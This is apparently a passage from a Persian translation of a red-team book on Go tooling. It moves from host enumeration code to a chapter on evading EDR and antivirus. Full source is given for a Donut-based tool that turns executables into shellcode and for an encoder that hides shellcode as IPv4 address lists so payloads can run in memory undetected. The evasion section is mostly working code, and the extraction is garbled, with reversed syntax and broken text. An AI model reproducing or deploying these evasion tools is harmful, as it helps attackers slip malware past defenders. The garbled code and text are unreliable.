rules := strings.Split(strings.TrimSpace(out.String()), ″\n″) 

return rules, nil 

} 

func main { )( 

// Check firewall status. 

isRunning, err := checkFirewallStatus)( 

if err != nil  { 

fmt.Println(″Error checking firewall status:″, err) 

return 

} 

if isRunning { 

fmt.Println(″macOS Firewall is enabled.″) 

 }else { 

fmt.Println(″macOS Firewall is disabled.″) 

} 

// List firewall rules 

rules, err := listFirewallRules)( 
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if err != nil  { 

fmt.Println(″Error retrieving firewall rules:″, err) 

return 

} 

if len(rules) == 0  { 

fmt.Println(″No firewall rules found.″) 

 }else { 

fmt.Println(″Firewall Rules:″) 

for _, rule := range rules { 

fmt.Println(rule) 

} 

} 

} 

 macOS فایروال قواعد و وضعیت بازگرداندن: 6-6 فهرست

  نتمایج   بهترین گرفتن برای  عمامملسمممممیسمممممتم  داخلی  همایفرممان و os/exec  از  برنماممه این  ،Windows Firewall کمد  مماننمد

 با)(  exec.Command تابع در  را″  pfctl″ باشمید  داشمته  نیاز اسمت ممکن خود، macOS نسمخه به بسمته.  کندمی اسمتفاده

″ipfw ″کنید  جایگزین  (ipfw در OS X Lion 10.7 شد  منسوخ.) 

mfw.go کنید اجرا زیر صورتبه را: 

 $sudo go run mfw.go 

macOS Firewall is disabled. 

Firewall Rules : 

No ALTQ support in kernel 

ALTQ related functions disabled 

scrub-anchor ″com.apple/*″ all fragment reassemble 

anchor ″com.apple/*″ all 

 .کرد خواهید ایجاد را محلی شبکه شمارش Linux نسخه بعد، بخش در
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Linux 
 بالا حقوق با را کد این باید. کندمی بازیابی را اسمممت فعال که  ایقاعده  هر و  کندمی بررسمممی  را iptables  7-6  فهرسمممت

 :دهید انجام را زیر موارد ابتدا کد، این کارکرد برای. بگیرید دقیق  نتایج تا کنید اجرا

 .mkdir lfw: کنید ایجاد خود کد برای پوشه یک. 1

 .cd lfw: بروید جدید پوشه به. 2

 .کنید ذخیره و کنید، گذاریجای آن در را 7-6 فهرست کنید، ایجاد خود علاقه مورد ویرایشگر با را lfw.go فایل. 3

 .کنید اولیه مقداردهی go mod init lfw با را خود پروژه. 4

5 .go mod tidy کنید اجرا را. 

package main 

import  ( 

″fmt ″ 

″log ″ 

″github.com/vishvananda/netlink″ 

) 

func main { )( 

// Check if iptables is supported. 

if !isIptablesSupported{ )( 

log.Fatal(″iptables is not supported on this system.″) 

} 

// Retrieve and print the iptables rules. 

rules, err := getIptablesRules)( 

if err != nil  { 

log.Fatalf(″Error retrieving iptables rules: %v″, err) 

} 

// Print the rules. 

for _, rule := range rules { 
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fmt.Println(rule) 

} 

} 

// isIptablesSupported checks if iptables is available. 

func isIptablesSupported() bool  { 

// Attempt to check if iptables is present. 

 ,_err := netlink.LinkList )( 

return err == nil 

} 

// getIptablesRules retrieves current iptables rules. 

func getIptablesRules() ([]string, error)   { 

// This method would normally involve using netlink to query rules. 

// For demonstration, we′ll return a placeholder. 

return []string{″Rule1: ACCEPT all″, ″Rule2: DROP all″}, nil 

} 

 لینوکس  iptables فایروال قواعد و وضعیت بازگرداندن: 7-6 فهرست

lfw.go کنید اجرا زیر صورتبه را: 

 $go run lfw.go 

Rule1: ACCEPT all 

Rule2: DROP all 

 .است اجرا حال در وظایف و فرایندها برای وجوپرس بعد مرحله

 اجرا حال در شدهبندیزمان وظایف   و   ها،سرویس فرایندها،  شناسایی
 هر  شمناسمایی  در  شمما  به  تواندمی همچنین و  کند،  فراهم  پایداری و  جانبی حرکت برای  هاییفرصمت  تواندمی فرایند شممارش

 شموند،می  سموساسمتفاده تهدید بازیگران  توسمط  شمدتبه  هاسمرویس  که آنجا از. کند کمک  کنید  فرار  آن از باید که  امنیتی  ابزار

 مراقب شممارش  نوع  این  با باید بنابراین دارند،  جدید  سمرویس  تغییر و ایجاد تشمخیص برای  امضماهایی هاسمیسمتم از بسمیاری

 .باشید

 :دهید انجام را زیر موارد باید ابتدا کد، این کارکرد برای
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 .کنید ایجاد  mkdir proc با خود کد برای پوشه یک. 1

 .بروید cd proc با جدید پوشه به. 2

 .کنید ذخیره و کنید، گذاریجای آن در را 8-6 فهرست کنید، ایجاد خود علاقه مورد ویرایشگر با را proc.go فایل. 3

 .کنید اولیه مقداردهی  go mod init proc با را خود پروژه. 4

5 .go mod tidy کنید اجرا را. 

package main 

import  ( 

″fmt ″ 

″log ″ 

″runtime ″ 

″github.com/shirou/gopsutil/process ″ 

) 

func main { )( 

switch runtime.GOOS { 

case ″windows :″ 

listProcesses )( 

case ″darwin:″ 

listProcesses )( 

case ″linux:″ 

listProcesses )( 

default: 

fmt.Println(″Unsupported OS″) 

} 

} 

func listProcesses { )( 

processes, err := process.Processes )( 
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if err != nil  { 

log.Fatalf(″Failed to get processes: %v″, err) 

} 

fmt.Printf(″Running processes:\n″) 

for _, p := range processes { 

name, err := p.Name )( 

if err != nil  { 

continue 

} 

// Get the user info if available. 

user, err := p.Username )( 

if err != nil  { 

user = ″N/A ″ 

// NA default if user info is not available; must be an 

// elevated user to pull the username back. 

} 

fmt.Printf(″PID: %d, Name: %s, User: %s\n″, p.Pid, name, user) 

} 

} 

 اجرا  حال  در شدهبندیزمان وظایف و ها،سرویس فرایندها،  شمارش: 8-6 فهرست

proc.go کنید اجرا زیر صورتبه را: 

 $go run proc.go 

Running processes: 

PID: 1, Name: launchd, User: root 

PID: 320, Name: logd, User: root 

PID: 321, Name: smd, User: root 
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PID: 322, Name: UserEventAgent, User: root 

PID: 324, Name: fseventsd, User: root 

PID: 325, Name: mediaremoted, User: root 

PID: 328, Name: systemstats, User: root 

PID: 330, Name: accessoryupdaterd, User: _accessoryupdater 

--snip— 

  میزبان،   نام  ها،گروه و  کاربران هدف،  عاملسمیسمتم  از جامع  نمای یک و کند،می  کامل  را  شمما  محلی  شممارش اطلاعات  این

 .دهدمی شما به اجرا حال در فرایندهای و فایروال، و  شبکه  پیکربندی

 خلاصه 
 انجام با. کنید اسمتفاده خود  فعلی سمیسمتم شممارش برای  خود  هایباینری  ایجاد برای Go  از چگونه  گرفتید یاد  فصمل، این  در

  Defender و  Cortex مانند محلی  امنیتی  ابزارهای  توسط شمدتبه  که  کنید،می  اجتناب LOLBins  از اسمتفاده از کار،  این

 اینجا را مورد پنج شمما.  بماند  باقی نشمدهکشمف  تریطولانی  مدت  برای  تواندمی شمما عملیات و شموند،می گذاریانگشمت اثر

  اجرا،  حال در  EDR  هایسمیسمتم  شمناسمایی  برای هاییفرمان  کردن شمامل برای  را  هابرنامه  این  راحتیبه  توانیدمی اما دیدید،

 .باشمید خلاق خود توسمعه  هایتلاش و اسمتفاده  در  کنیممی  تشمویق را شمما ما.  دهید  گسمترش  بیشمتر و پذیر،آسمیب فرایندهای
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 ترکیبی  بندیبسته  با تشخیص  زدن  دور 7
 

 تشمخیص به  مدافعان  مخرب، فعالیت تشمخیص برای.  اسمت  بقا مهارت  یک نیسمت؛ قرمز هایتیم برای  تاکتیک یک فقط  فرار

  بسمیار   سمنتی بارهای برابر  در که  هاییروش—هسمتند  متکی فایل  یکپارچگی هایبررسمی و  رفتاری، تحلیل امضما، بر  مبتنی

 باشممد،  شممده پنهان دید معرض در  اگر  چه؟  نباشممد  سممرراسممت  اسممکریپت یا  اجرایی فایل یک  شممما بار اگر اما. هسممتند  مؤثر

 در  که  اسمت ترکیبی بندیبسمته کار گردش اصملی مفهوم این شمود؟ زنده حافظه در فقط تا شمده، مبدل ضمرربی  داده  عنوانبه

 و ،packer/رمزگذار  یک  ،shellcode  کنندهاسمتخراج یک—کرد خواهید ایجاد  ابزار سمه شمما. سماخت خواهید فصمل  این

 .کنید اجرا تشخیص بدون را آن و کنید پنهان رسیدن نظر به ضرربی متنی فایل یک در را خود بار تا—حافظه لودر یک

Packerمهندسممان  تا  شمموندمی اسممتفاده  هاباینری  سممازیمبهم گاهی و سممازیفشممرده  برای که  هسممتند  مشممروع  ابزارهای  ها  

  سمازی مبهم  هایتکنیک  از مدرن  هایPacker.  دارند باز  مسمتقیم  منبع کد  به  هاآن «کامپایلدی» یا «کرک»  از را  معکوس

  پرکاربرد  هایpacker  حال،  این  با. کنندمی اسممتفاده کد سمماختار  کردن  پنهان  برای  چندریختی، موتورهای شممامل مختلف،

 .شوندمی داده تشخیص امنیتی هایحلراه توسط راحتیبه حالا Themida و UPX  مانند

 جایبه  فشمرده و  شمدهسمازیمبهم  متنی  فایل  یک  در را شمما بار  نوشمت، خواهید  فصمل این  در که  ترکیبی  packer بنابراین،

 به  IP  آدرس فهرست  یک  از بیش چیزی بار  کنند،می  تحلیل را  آن که هاییماشین و  هاانسان برای. کندمی پنهان  باینری یک
  اجرای و بارگذاری  برای خود  روزانه عملیات در ،DLL hijacking با همراه مشممابه،  هایTTP  از ما. رسممید نخواهد نظر

shellcode عنوانبه ابزارها  این  مطلب،  این نوشمممتن زمان  در. ایمکرده اسمممتفاده امن نظر به متنی فایل یک از  حافظه  در  

 .اندنشده گذاریعلامت مخرب

 عملکردی  الزامات
 .است شده نصب شما انتخابی عاملسیستم روی Go که کنندمی فرض فصل این هایمثال
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 فرایند  و ابزار تجزیه
 :است حافظه در تشخیص غیرقابل بارهای تزریق و ایجاد برای ابزار سه شامل فصل این  ترکیبی  بندیبسته روش

Ex2Shell به را اجرایی فایل قالب در بار shellcode کندمی تبدیل 

Encode shellcode  متنی  فایل  یک  در را  IPv4 و آزمایش برای  رمزگشممممایی قابلیت  کند؛می سممممازیمبهم و فشممممرده 

 شودمی شامل را  یابیعیب

Loader  متنی فمایمل از را  بمار  IPv4  توانمدمی  واقعی،  عملیمات  یمک در)  کنمدمی اجرا  حمافظمه  در را آن  و  کنمدمی بمازسمممممازی 

 (شود مبدل حساب، ماشین یک مانند مشروع، افزارنرم عنوانبه

 .دهدمی نشان را ایمرحلهسه بندیبسته فرایند 1-7 شکل

 

 

 ترکیبی  بندیبسته  کار گردش: 1-7 شکل

 .کنیم شروع را Ex2Shell اول، ابزار ساخت  بیایید

 Ex2Shell  با مخفی  shellcode به  اجرایی هایفایل تبدیل 
  همایفمایمل  بر  تکیمه  بمدون حمافظمه  در را  بمارهما داریمد  نیماز کمه  تهماجمی  عملیمات  برای  shellcode  تولیمد  قرمز،  تیم  عملیمات  در

  طریق   از  مانند) فرایند تزریق  مانند  هاییتکنیک  این. اسممممت invaluable کنید  اجرا  یا  دهید  تحویل دیسممممک روی  اجرایی

CreateRemoteThread  یا QueueUserAPC)،  پویا  پیوند کتابخانه  بازتابی بارگذاری  (DLL)، در بار  جاسمممازی و 

 .سازدمی ممکن را کنندمی پایش را فایل افت که EDR ابزارهای و ویروسآنتی تشخیص از فرار برای  دیگر هایباینری
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 Windows Portable Executable  فایل  یک تبدیل برای سماده  ابزار یک ،ex2shell.go آزمایشمگاه، این  اسمکریپت
(PE)—فایل یک  یعنی .exe—به  shellcode  را  مراحل  این  آن،  کامپایل برای. اسمممت  کامپایل هنگام  موقعیت از  مسمممتقل 

 :کنید دنبال

 .mkdir ex2shell: کنید ایجاد اسکریپت برای پوشه یک. 1

 .cd ex2shell: بروید جدید پوشه به. 2

 ذخیره و کنید، گذاریجای  آن  در را  ex2shell.go  اسمکریپت کنید، ایجاد  خود  علاقه مورد  ویرایشمگر با جدید  فایل  یک.  3

 .کنید

 .کنید اولیه مقداردهی go mod init ex2shell با را خود پروژه. 4

5 .go mod tidy کنید اجرا را. 

 .بسازید go build ex2shell.go با را اجرایی فایل. 6

 از  اصممممممل  در)  Donut  پروژه  از  Go  پورت  یممک  کنممد،می  اسمممممتفمماده  go-donut  کتممابخممانممه  از  Ex2Shell  برنممامممه

TheWover  .)Donut  همایفمایمل  کمه  اسمممممت  موقعیمت  از  مسمممممتقمل  کمد  تولیمدکننمده  یمک PE  (همایفمایمل .exe  یما  .dll  )بمه  را 

shellcode معمماری چنمدین از این. کنمدمی  تبمدیمل  (x86،  x64،  دوگمانمه  حمالمت  یما  )سمممممازیمبهم  برای  آنتروپی همایحمالمت و 

 .کندمی آلایده دارند تغییر بدون متنوع هایمحیط در اجرا به نیاز که قرمز تیم بارهای برای را آن و کند،می  پشتیبانی

 Donut پارامترهای خواند،می  را ورودی  exe. فایل یک: اسمت یافته سماختار  سمرراسمت  فرمان خط  ابزار  یک  عنوانبه کد

 از  مسمتقیما    توانسمتیدمی  اگرچه. نویسمدمی خروجی فایل یک در  را  آن و کند،می  تولید  را shellcode کند،می  پیکربندی  را

Donut بنابراین اند،کرده اسمتفاده آن  از آن انتشمار زمان  از مخرب بازیگران و قرمز  تیم  اعضمای از بسمیاری  کنید، اسمتفاده 

 .کنندمی گذاریعلامت مخرب عنوانبه را آن اغلب AV و EDR هایسیستم

 .دهدمی نشان را ex2shell.go کامل  اسکریپت 1-7 فهرست

package main 

import  ( 

″bytes″ 

″fmt ″ 

″io/ioutil″ 

″os″ 

″github.com/Binject/go-donut/donut″ 1 

) 

func main { )( 

if len(os.Args) < 3  { 
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fmt.Println(″Usage: ex2shell input_exe output_shellcode″) 

fmt.Println(″This program converts a Windows EXE (PE file) to shellcode 

using the go-donut library )″. 

os.Exit(1 ) 

} 

inputFile := os.Args[1 ] 

outputFile := os.Args [2 ] 

// Load the EXE file into memory. 

exeBytes, err := ioutil.ReadFile(inputFile) 2 

if err != nil  { 

fmt.Printf(″Error reading EXE file: %v\n″, err) 

os.Exit(1 ) 

} 

// Create a buffer from the EXE bytes . 

exeBuffer := bytes.NewBuffer(exeBytes) 3 

// Set up the Donut configuration for an EXE. 4 

config := donut.DefaultConfig )( 

config.Type = donut.DONUT_MODULE_EXE // Specify it′s an EXE. 

config.Arch = donut.X84 // AMD64 + x86 (dual mode) 

config.Entropy = donut.DONUT_ENTROPY_DEFAULT 

// Generate the shellcode from the EXE bytes. 

shellcode, err := donut.ShellcodeFromBytes(exeBuffer, config) 5 

if err != nil  { 

fmt.Printf(″Error generating shellcode: %v\n″, err) 

os.Exit(1 ) 

} 
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// Write the shellcode to the output file. 

err = ioutil.WriteFile(outputFile, shellcode.Bytes(), 0644) 6 

if err != nil  { 

fmt.Printf(″Error writing shellcode to file: %v\n″, err) 

os.Exit(1 ) 

} 

fmt.Printf(″Shellcode generated successfully and saved to %s\n″, outputFile) 7 

fmt.Printf(″Shellcode length: %d bytes\n″, shellcode.Len()) 

} 

 shellcode به Windows اجرایی هایفایل  تبدیل: 1-7 فهرست

 خارجی  وابسمتگی. شمودمی شمروع  بافرینگ و بندی،قالب  فایل، I/O برای Go  اسمتاندارد  هایکتابخانه  کردن  وارد  با برنامه

 است shellcode Donut  تولیدکننده  برای wrapper Go یک  ،github.com/Binject/go-donut/donut  اصملی،

1 .Binject بر  مبتنی  باینری تزریق ابزار  کیت یک Go ،بر  مبتنی عملکرد کتابخانه این و است C Donut پیچدمی را. 

  بمایمت  برش  یمک در  را ورودی EXE کمل  main،  ioutil.ReadFile(inputFile)  تمابع  در آرگوممان  اعتبمارسمممممنجی  از  پس

(exeBytes  )فمایمل  کمل  این.  2  خوانمدمی  PE  (،غیره  و  هما،بخش  همدرهما  )خوانمدن  قمابمل  فمایمل  اگر.  کنمدمی  بمار  حمافظمه  در  را 

. شممودمی خارج و کندمی چاپ را خطا  کد ،(باشممد  داشممته وجود مجوز مسممئله یا باشممد  نداشممته وجود اگر مثال، برای) نباشممد

 را  io.Reader  کمه  پیچمد،می  bytes.Buffer  یمک  در  را  خمام  همایبمایمت  bytes.NewBuffer(exeBytes)  سمممممپس،

 .3 دارد را آن انتظار ShellcodeFromBytes() Donut تابع که جریان شبیه رابط  یک—کندمی سازیپیاده

  struct donut.Config  یک  اولیه  مقداردهی  برای)(  donut.DefaultConfig  با  Donut 4  تولیدکننده  برای  پیکربندی

 = config.Type  بعمد،.  شمممممودمی  شمممممروع(  اسمممممتمانمدارد  لودر  و  سمممممازیفشمممممرده  بمدون  مماننمد)  معقول  همایفرضپیش  بما
donut.DONUT_MODULE_EXE  به  Donut اسمممت مسمممتقل اجرایی  فایل  یک  این  گویدمی (یک نه  DLL  .)Donut 

 .کندمی اجرا را آن ورود نقطه و کندمی بردارینقشه حافظه در را PE که کرد خواهد تولید لودر یک

.  کندمی  تنظیم  را(  x86 + x64 با سممازگار) دوگانه حالت معماری که  اسممت،  config.Arch = donut.X84  این، از پس

Donut کندمی پرش آن با مطابق و دهدمی تشخیص را اجرا زمان معماری که کندمی جاسازی جهانی لودر یک  

 رمزگذاری  مانند) پایه  سمممممازیمبهم یک  config.Entropy = donut.DONUT_ENTROPY_DEFAULT  نهایت، در

XOR )خروجی روی  را shellcode در  خود  توانایی  افزایش برای.  دهدمی  کاهش  را ایسمممتا امضممماهای و کند،می  اعمال 

 ما، هایآزمایش در) دهید  تغییر  DONUT_ENTROPY_HIGH  به  آن جایبه  را مقدار  این  توانیدمی  تشمخیص،  از  اجتناب

 (.نداشتیم تشخیص از اجتناب برای فرضپیش  تنظیم تغییر به نیازی حال، این با

 ابزار  اصمممملی  تابع که اسممممت، متکی  donut.ShellcodeFromBytes(exeBuffer, config) به shellcode تولید

Ex2Shell به  را شمما  اجرایی فایل تابع این.  5  اسمت shellcode کند،می کوچک را آن  ردپای  کند،می تبدیل تزریق قابل 
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 شمدهبافر  EXE سمپس. زندمی  دور فایل نوشمتن  مانند  رفتاری هایتشمخیص  از و سمازد،می ممکن را  حافظه  در فقط  اجرای و

 :دهدمی انجام را زیر موارد که کند،می تغذیه Donut به را

 ( هاجاییجابه واردات، هدرها، )  کندمی  تجزیه   را PE ساختار •
 لودر stub یک برای( NASM طریق از مثال، برای)  کندمی تولید  موقعیت از مستقل اسمبلی •

• PE یک عنوانبه را blob کندمی جاسازی شدهرمزگذاری/فشرده 

 دهدمی خروجی(  ماشین کد هایبایت) خام shellcode حاوی bytes.Buffer یک •

 شودمی خارج( مثال برای  نشده،پشتیبانی  معماری یا نامعتبر PE دلیلبه) بخورد شکست Donut اگر •

 خمروجمی  فمممایمممل  در  را  shellcode  بمممافمر  ioutil.WriteFile(outputFile, shellcode.Bytes(), 0644)  بمعمممد،

  تنظیم  را Unix  سمبک مجوزهای  0644  خاص، طوربه.  6  کندمی تخلیه( مثال این  در  payload_shell.txt)  شمدهمشمخص

 نوشمممتن اگر. هسمممتند ضمممرربی اما ربطبی Windows در که ،(مالک برای نوشمممتن قابل  همه، برای خواندن  قابل)  کندمی

shellcode شودمی خارج برنامه ،(باشد پر  دیسک اینکه  مانند) بخورد شکست خروجی. 

)( shellcode.Len  طریق  از  را  shellcode  طول  و  کندمی  چاپ  خروجی  مسیر  با  تأیید  یک  کد  باشد،  موفق  عملیات  اگر

 .دهدمی گزارش اندازه سریع هایبررسی برای

 :ببینید زیر مشابه خروجی باید ابزار، اجرای از پس

C:\> ex2shell.exe c:\users\genxw\payloads\payload.exe payload_shell.txt 

Shellcode generated successfully and saved to payload_shell.txt 

Shellcode length: 432640 bytes 

 .کنید پنهان Encode ابزار از استفاده با ضرربی شبکه داده عنوانبه را آن هستید آماده ،shellcode استخراج با

 Encode با دید معرض  در شما بار  کردن پنهان
 قرمز تیم بار  تحویل  برای  توجهی قابل موانع  شممبکه  امنیت هایدسممتگاه و ها،برنامه  سممفید لیسممت مدرن،  EDR  هایسممیسممتم

 ،PowerShell  دانلود  هایcradle  از اسمتفاده  ،HTTP طریق  از اجرایی  هایفایل دانلود—سمنتی هایروش. کنندمی ایجاد

 :زیر موارد شامل کنند،می فعال را دفاعی کنترل لایه  چندین—شدهکامپایل  هایباینری انتقال و

 کنندمی اسکن را دانلودشده هایاسکریپت و اجرایی هایفایل که  وب هایپروکسی •

 کنندمی قرنطینه را اجرایی  محتوای با هایپیوست که ایمیل هایدروازه •

 کندمی گذاریعلامت را مشکوک هایاسکریپت و ،ELF هایباینری ،PE هایفایل که  پایانی نقطه محافظت •

 کندمی مسدود را غیرمجاز افزارنرم اجرای که  برنامه کنترل •

 دهدمی هشدار جدید اجرایی هایفایل به که فایل  یکپارچگی  پایش •

 کنندمی مسدود را شدهکامپایل کد الگوهای انتقال که( DLP) داده دادن دست از از جلوگیری هایسیستم •
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  مماننمد ) اعشمممممارینقطمه  IP همایآدرس  حماوی  متنی  همایفمایمل  بمه  را  شمممممنماسمممممایی  قمابمل  بمار  همایقمالمب این  IPv4  سمممممازیمبهم

 هایمحیط در. گیرندمی نظر در ضمممرربی عملیاتی  داده  عنوانبه  امنیتی ابزارهای  که قالبی کند،می  تبدیل(  192.168.1.1

  هایگسمتردهصمفحه شمبکه مهندسمان:  هسمتند توجه غیرقابل و  حاضمر جاهمه  IP آدرس  هایفهرسمت حاوی  هایفایل سمازمانی،

 را  سمرور موجودی سمیسمتم مدیران  کنند،می تولید  را  پذیریآسمیب  اسمکن  نتایج امنیتی هایتیم دارند،می نگه را  IP تخصمیص

  صممادر را  IP  هایفهرسممت  دارایی  مدیریت  ابزارهای و کند،می  تولید  را  اتصممال هایگزارش شممبکه  پایش  کنند،می  مسممتند

 .کنندمی

 در  را  آن و  کندمی  فشمرده را  Ex2Shell از  encode.go، shellcode نوشمت، خواهید  آزمایشمگاه این  در که  اسمکریپتی

:  کندمی  پشممممتیبانی حالت دو  از Encode ابزار. کندمی  بندیبسممممته IPv4  هایآدرس  از ضممممرربی  ظاهرا    فهرسممممت یک

encode (از shellcode  به IPها )و decode (از IPبه  ها shellcode .)از  این  Gzip برای سممممازیفشممممرده  برای 

 و  کند،می  مدیریت  را ناقص هایتکه  برای پرکردن کند،می اسممتفاده(  تشممخیص قابلیت  کاهش) تولیدشممده  هایIP تعداد کاهش

 Go اسممتاندارد هایکتابخانه از فقط و اسممت، سممبک این. شممودمی شممامل  را  تعاملی آزمایش برای  زداییاشممکال  هایمک 

 .کندمی آسان عملیات در  چندسکویی استفاده برای مستقل باینری یک به را آن کامپایل که  کند،می استفاده

encode.go کنید کامپایل زیر صورتبه را: 

 .mkdir encode: کنید ایجاد اسکریپت برای پوشه یک. 1

 .cd encode: بروید جدید پوشه به. 2

 ذخیره و کنید، گذاریجای  آن  در را  encode.go  اسممکریپت  کنید،  ایجاد خود  علاقه مورد ویرایشممگر با جدید  فایل  یک.  3

 .کنید

 .کنید اولیه مقداردهی go mod init encode با را خود پروژه. 4

5 .go mod tidy کنید اجرا را. 

 .بسازید go build encode.go با را اجرایی فایل. 6

 .دهدمی نشان را encode.go کامل  اسکریپت 2-7 فهرست

package main 

import  ( 

″bytes″ 

″compress/gzip ″ 

″encoding/hex ″ 

″fmt ″ 

″io/ioutil″ 

″net ″ 

″os″ 
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″strconv ″ 

″strings ″ 

) 

func main() { 1 

if len(os.Args) < 4  { 

fmt.Println(″Usage: encode encode/decode input_file output_file″) 

fmt.Println(″ encode: Convert binary file to IPv4 addresses″) 

fmt.Println(″ decode: Convert IPv4 addresses back to binary file″) 

return 

} 

mode := os.Args[1 ] 

inputFilePath := os.Args[2 ] 

outputFilePath := os.Args[3 ] 

switch mode  { 

case ″encode:″ 

encodeFile(inputFilePath, outputFilePath) 

case ″decode:″ 

decodeFile(inputFilePath, outputFilePath) 

default: 

fmt.Println(″Invalid mode. Use ′encode′ or ′decode′″) 

} 

} 

func encodeFile(inputFilePath, outputFilePath string) { 2 

// Step 1: Read the binary file. 

data, err := ioutil.ReadFile(inputFilePath) 

if err != nil  { 
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fmt.Println(″Error reading file:″, err) 

return 

} 

fmt.Printf(″Original file size: %d bytes\n″, len(data)) 

fmt.Println(″Original data (first 32 bytes hex):″, hex.EncodeToString(data[:min(32 , 

len(data) ))]) 

pause)( 

// Step 2: Compress the data. 

compressedData, err := compressData(data) 

if err != nil  { 

fmt.Println(″Error compressing data:″, err) 

return 

} 

fmt.Printf(″Compressed size: %d bytes\n″, len(compressedData)) 

fmt.Println(″Compressed data (first 32 bytes hex):″, hex.EncodeToString(compressedData 

[:min(32, len(compressedData))] )) 

pause)( 

// Step 3: Obfuscate the compressed data as IPv4 addresses 

obfuscatedData := obfuscateAsIPv4(compressedData) 

fmt.Printf(″Generated %d IPv4 addresses\n″, len(obfuscatedData)) 

fmt.Println(″First few IPv4 addresses:″) 

for i, ip := range obfuscatedData[:min(5, len(obfuscatedData))]  { 

fmt.Printf(″ %d: %s\n″, i+1, ip) 

} 

pause)( 

// Step 4: Save the obfuscated data to a file. 
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err = saveToFile(obfuscatedData, len(compressedData), outputFilePath) 

if err != nil  { 

fmt.Println(″Error saving to file:″, err) 

return 

} 

fmt.Println(″Encoded data saved to:″, outputFilePath) 

} 

func decodeFile(inputFilePath, outputFilePath string) { 3 

// Step 1: Read the obfuscated file. 

ipAddresses, originalSize, err := loadFromFile(inputFilePath) 

if err != nil  { 

fmt.Println(″Error reading obfuscated file:″, err) 

return 

} 

fmt.Printf(″Loaded %d IPv4 addresses, original compressed size: %d bytes\n,″ 

len(ipAddresses), originalSize) 

// Step 2: Convert IPv4 addresses back to binary data. 

compressedData, err := deobfuscateFromIPv4(ipAddresses, originalSize) 

if err != nil  { 

fmt.Println(″Error deobfuscating data:″, err) 

return 

} 

fmt.Printf(″Deobfuscated compressed size: %d bytes\n″, len(compressedData)) 

fmt.Println(″Deobfuscated data (first 32 bytes hex):″, hex.EncodeToString(compressedData 

[:min(32, len(compressedData))] )) 

pause)( 
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// Step 3: Decompress the data. 

originalData, err := decompressData(compressedData) 

if err != nil  { 

fmt.Println(″Error decompressing data:″, err) 

return 

} 

fmt.Printf(″Decompressed size: %d bytes\n″, len(originalData)) 

fmt.Println(″Decompressed data (first 32 bytes hex):″, hex.EncodeToString(originalData 

[:min(32, len(originalData))] )) 

pause)( 

// Step 4: Save the original data . 

err = ioutil.WriteFile(outputFilePath, originalData, 0644) 

if err != nil  { 

fmt.Println(″Error saving decoded file:″, err) 

return 

} 

fmt.Println(″Decoded data saved to:″, outputFilePath) 

} 

func compressData(data []byte) ([]byte, error) { 4 

var buf bytes.Buffer 

writer := gzip.NewWriter(&buf) 

 ,_err := writer.Write(data) 

if err != nil  { 

return nil, err 

} 

err = writer.Close )( 
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if err != nil  { 

return nil, err 

} 

return buf.Bytes(), nil 

} 

func decompressData(data []byte) ([]byte, error) { 5 

reader, err := gzip.NewReader(bytes.NewReader(data)) 

if err != nil  { 

return nil, err 

} 

defer reader.Close)( 

var buf bytes.Buffer 

 ,_err = buf.ReadFrom(reader) 

if err != nil  { 

return nil, err 

} 

return buf.Bytes(), nil 

} 

func obfuscateAsIPv4(data []byte) []string { 6 

var ipAddresses []string 

for i := 0; i < len(data); i += 4  { 

var segment [4]byte 

bytesToCopy := min(4, len(data)-i) 

copy(segment[:bytesToCopy], data[i:i+bytesToCopy]) 

ip := net.IP(segment[:]).String )( 

ipAddresses = append(ipAddresses, ip) 
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} 

return ipAddresses 

} 

func deobfuscateFromIPv4(ipAddresses []string, originalSize int) ([]byte, error) { 7 

var result []byte 

for _, ipStr := range ipAddresses { 

ip := net.ParseIP(ipStr) 

if ip == nil  { 

return nil, fmt.Errorf(″invalid IP address: %s″, ipStr) 

} 

ipv4 := ip.To4 )( 

if ipv4 == nil  { 

return nil, fmt.Errorf(″not a valid IPv4 address: %s″, ipStr) 

} 

result = append(result, ipv4...) 

} 

if len(result) > originalSize { 

result = result[:originalSize] 

} 

return result, nil 

} 

func saveToFile(ipAddresses []string, originalSize int, filePath string) error { 8 

var content strings.Builder 

content.WriteString(fmt.Sprintf(″SIZE:%d\n″, originalSize)) 

for _, ip := range ipAddresses { 

content.WriteString(ip + ″\n″) 
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} 

return ioutil.WriteFile(filePath, []byte(content.String()), 0644) 

} 

func loadFromFile(filePath string) ([]string, int, error) { 9 

data, err := ioutil.ReadFile(filePath) 

if err != nil  { 

return nil, 0, err 

} 

lines := strings.Split(strings.TrimSpace(string(data)), ″\n″) 

if len(lines) < 1  { 

return nil, 0, fmt.Errorf(″file is empty″) 

} 

sizeLine := lines[0 ] 

if !strings.HasPrefix(sizeLine, ″SIZE:″) { 

return nil, 0, fmt.Errorf(″invalid file format: missing SIZE header″) 

} 

sizeStr := strings.TrimPrefix(sizeLine, ″SIZE:″) 

originalSize, err := strconv.Atoi(sizeStr) 

if err != nil  { 

return nil, 0, fmt.Errorf(″invalid size format: %v″, err) 

} 

ipAddresses := lines[1 ]: 

return ipAddresses, originalSize, nil 

} 

func min(a, b int) int  { 

if a < b  { 
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return a 

} 

return b 

} 

func pause { )( 

fmt.Println(″Press Enter to continue...″) 

fmt.Scanln )( 

} 

 IPv4 هایآدرس  عنوانبه shellcode  رمزگذاری: 2-7 فهرست

 حالت: اندشمده  ارائه  فرمان خط آرگومان  سمه که  کندمی تأیید 1  اسمکریپت main  تابع  اسمتاندارد،  اندازیراه و  واردات از پس

(encode یا decode)،  هایدسممتورالعمل باشممد، شممده گم  آرگومانی  هر اگر.  خروجی فایل  مسممیر و  ورودی، فایل مسممیر 

)( decodeFile یا)( encodeFile به حالت  اسمماس بر  switch  دسممتور  یک.  شممودمی خارج و  کندمی چاپ  را اسممتفاده

 .کندمی چاپ خطا یک  نامعتبر حالت مقدار برای یا کندمی ارسال

  عنوانبه را  ورودی فایل کل.  2  کندمی مدیریت را IPv4  هایآدرس به shellcode  از  اصملی تبدیل)( encodeFile  تابع

 اول  بمایمت 32 و اصممممملی فمایمل انمدازه  سمممممپس  کنمد،می بمار)(  ioutil.ReadFile  کمکی  تمابع از  اسمممممتفماده  بما  بمایمت آرایمه  یمک

  مرحله هر بین)( pause  هایفراخوانی. کندمی چاپ هگزادسمممیمال قالب  در  را)((  min  کمکی  تابع توسمممط محدودشمممده)

 .سازدمی ممکن توسعه طول در را اعتبارسنجی و تعاملی زداییاشکال

 یک تابع این. 4 کندمی اسممتفاده بار اندازه کاهش برای  Gzip  سممازیفشممرده از)(  compressData  اولیه،  خواندن از پس

gzip.Writer  یمک  روی  bytes.Buffer  همایبمایمت  کنمد،می  ایجماد  shellcode  نویسمممممد،می  آن  طریق  از  را  writer  را 

